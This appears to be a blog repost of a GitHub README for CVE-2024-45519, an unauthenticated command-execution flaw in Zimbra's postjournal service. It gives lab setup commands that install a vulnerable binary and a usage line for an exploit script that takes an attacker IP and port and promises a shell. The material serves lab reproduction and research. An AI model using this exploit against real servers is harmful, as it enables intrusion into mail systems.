> ## Content Index
> Fetch the complete content index at: https://darkwebinformer.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# CVE-2024-45519 - Zimbra Postjournal Exploit Setup
- URL: https://darkwebinformer.com/cve-2024-45519-zimbra-postjournal-exploit-setup/
- Published: 2024-11-05T21:11:50.000Z
- Updated: 2025-09-04T22:25:40.000Z
- Author: Dark Web Informer
- Tags: Vulnerabilities, Tools

GitHub: <https://github.com/Chocapikk/CVE-2024-45519>

---

# CVE-2024-45519 - Zimbra Postjournal Exploit Setup 🛠️

[](https://github.com/Chocapikk/CVE-2024-45519#cve-2024-45519---zimbra-postjournal-exploit-setup-%EF%B8%8F)

![](https://storage.ghost.io/c/6b/16/6b16ac9c-cd67-432f-b0f3-bbec941084ff/content/images/2024/11/578378.png)

## Description ⚠️

[](https://github.com/Chocapikk/CVE-2024-45519#description-%EF%B8%8F)

CVE-2024-45519 is a vulnerability in Zimbra Collaboration (ZCS) that allows unauthenticated users to execute commands through the `postjournal` service. This guide walks you through setting up a lab environment to reproduce the issue and execute the exploit.

## Affected Versions 🐛

[](https://github.com/Chocapikk/CVE-2024-45519#affected-versions-)

- **Joule**: version 8.8.15
- **Kepler**: version 9.0.0
- **Daffodil**: versions 10.0.x before 10.0.9
- **Daffodil**: version 10.1.0

## Lab Setup 🖥️

[](https://github.com/Chocapikk/CVE-2024-45519#lab-setup-%EF%B8%8F)

1. **Prepare the test environment**  
Make sure you're running Ubuntu 20.04.6 LTS (Focal Fossa) on your lab machine.  
Example test environment: Ubuntu 20.04.6 LTS.
2. **Download Zimbra**  
Run the following commands to download and extract the Zimbra Collaboration package:sudo su  
wget https://files.zimbra.com/downloads/8.8.15\_GA/zcs-NETWORK-8.8.15\_GA\_4177.UBUNTU20\_64.20211112014220.tgz  
tar -xvzf zcs-NETWORK-8.8.15\_GA\_4177.UBUNTU20\_64.20211112014220.tgz  
cd zcs-NETWORK-8.8.15\_GA\_4177.UBUNTU20\_64.20211112014220
3. **Configure hostname**  
Set the hostname to `zimbra.labo`:hostnamectl set-hostname zimbra.labo
4. **Install Zimbra**  
Follow the installation guide here 👉 [Zimbra Installation Guide](https://zimbra.github.io/installguides/latest/single.html#Installing%5FZimbra%5FCollaboration%5FSoftware).  
Use Zimbra's package repository when prompted. Select **Yes** for that option.
5. **Replace the vulnerable `postjournal` binary**  
Kill the running `postjournal` process and replace the binary with the vulnerable one:sudo pkill postjournal  
dpkg-deb -x packages/zimbra-core\_8.8.15.GA.4177.UBUNTU20.64\_amd64.deb /tmp/zimbra-core  
sudo cp /tmp/zimbra-core/opt/zimbra/libexec/postjournal /opt/zimbra/libexec/postjournal
6. **Enable and restart Zimbra services**  
Log in as the `zimbra` user and enable the `postjournal` service:sudo su - zimbra  
zmlocalconfig -e postjournal\_enabled=true  
zmcontrol restart

## Exploit Usage 🚀

[](https://github.com/Chocapikk/CVE-2024-45519#exploit-usage-)

Once the lab is set up and running, you can use the exploit to take advantage of the vulnerability.

### Steps:

[](https://github.com/Chocapikk/CVE-2024-45519#steps)

1. **Prepare the exploit**  
Ensure the exploit script (which we assume you've already prepared) targets the correct IP address and port.
2. **Run the exploit**  
Execute the exploit to target the vulnerable Zimbra instance. For example, using your script:python exploit.py <target> -lh <attacker-ip> -lp <attacker-port> -p <smtp-port>
3. **Enjoy your shell**  
Once the exploit successfully connects, you'll have command execution on the Zimbra server! 🎉

## References 🔗

[](https://github.com/Chocapikk/CVE-2024-45519#references-)

- [Zimbra CVE-2024-45519 - Cyberveille eSante](https://cyberveille.esante.gouv.fr/alertes/zimbra-cve-2024-45519-2024-10-02)
- [Zimbra Remote Code Execution Blog - ProjectDiscovery](https://blog.projectdiscovery.io/zimbra-remote-code-execution/)

## Disclaimer ⚠️

[](https://github.com/Chocapikk/CVE-2024-45519#disclaimer-%EF%B8%8F)

This exploit and guide are for educational purposes only. Use this information responsibly and only on systems you have explicit permission to test. Unauthorized exploitation of systems is illegal and unethical. The authors and contributors are not responsible for any misuse or damage caused by this information.